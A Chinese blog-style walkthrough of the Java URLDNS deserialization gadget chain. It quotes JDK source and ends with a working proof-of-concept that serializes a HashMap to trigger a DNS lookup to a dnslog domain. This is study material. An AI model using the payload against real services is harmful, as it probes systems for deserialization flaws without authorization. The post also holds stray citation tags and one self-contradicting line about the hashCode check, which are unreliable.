Java最简单的一条反序列化链子了
自己审计的第一条java链
开审!
首先是这个链子的原理
java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求
我们知道,如果某个类重写了readObject,那么在反序列化时,则调用重写后的readObject方法
看hashmap的源码,找到重写的readobject

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在最后的putVal函数里面,调用了hash函数计算key的hash值
进入hash函数

校验key是否为空,不为空则调用key自己的hashcode方法
刚好URL类重写了hashcode(别问我怎么知道,别人发现的,跟着复现就行)

判断hashcode是否为-1,不是就直接返回当前hashcode
这肯定不是我们想要的(啥都没干,怎么可能触发网络请求呢)
如果是-1的话,进入接下来的代码
hashCode = handler.hashCode(this);
调用了一个新的hashcode方法
this表示当前对象,将当前对象作为参数
新的hashcode代码如下
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
从代码关系上来看
原hashcode方法,在hashcode这个成员变量不等于-1时
则直接调用新的hashcode方法,计算当前对象的hashcode值
在计算过程中,发现一个关键函数getHostAddress
直接翻译成中文:获取 主机 地址
对传入的参数进行了dns解析,从而获取主机地址
这是完整的过程
注意有个坑,感谢白日梦安全团队的公众号文章:
URL里面,hashcode的默认初始值为-1,在调用put的时候,其实就已经触发了dns请求,这里要用到反射,在put前先把hashcode改了,然后put
在put后再用反射改回去

写一下函数调用栈
HashMap.readObject(ObjectInputStream)
└── HashMap.putVal(hash(key), key, value, false, false) [citation:2][citation:3]
└── HashMap.hash(key) [citation:1][citation:6]
└── key.hashCode() (key 为 URL 对象) [citation:2][citation:8]
└── URL.hashCode() [citation:1][citation:4]
└── URLStreamHandler.hashCode(URL) [citation:3][citation:9]
└── URLStreamHandler.getHostAddress(URL) [citation:4][citation:8]
└── InetAddress.getByName(host) [citation:2][citation:3][citation:9]
在反序列化时会触发readObject
开始编写exp
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class poc {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL, Integer> urlHashMap = new HashMap<>();//hashmap来源于jdk原生
URL url = new URL("http://u42vnypa.dns.adysec.com");
Class urlClass = url.getClass();
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,999999);
urlHashMap.put(url, 999999);
hashCode.set(url,-1);
SerializableUser_test(urlHashMap);
System.out.println("序列化完成");
unSerializableUser_test("ser.txt");
System.out.println("反序列化完成");
}
public static void SerializableUser_test(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
//向ser.txt写入对象的序列化数据
}
public static Object unSerializableUser_test(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream oIs = new ObjectInputStream(new FileInputStream(Filename));
Object o = oIs.readObject();
return o;
}
}
成功发起dns请求
评论(0)
暂无评论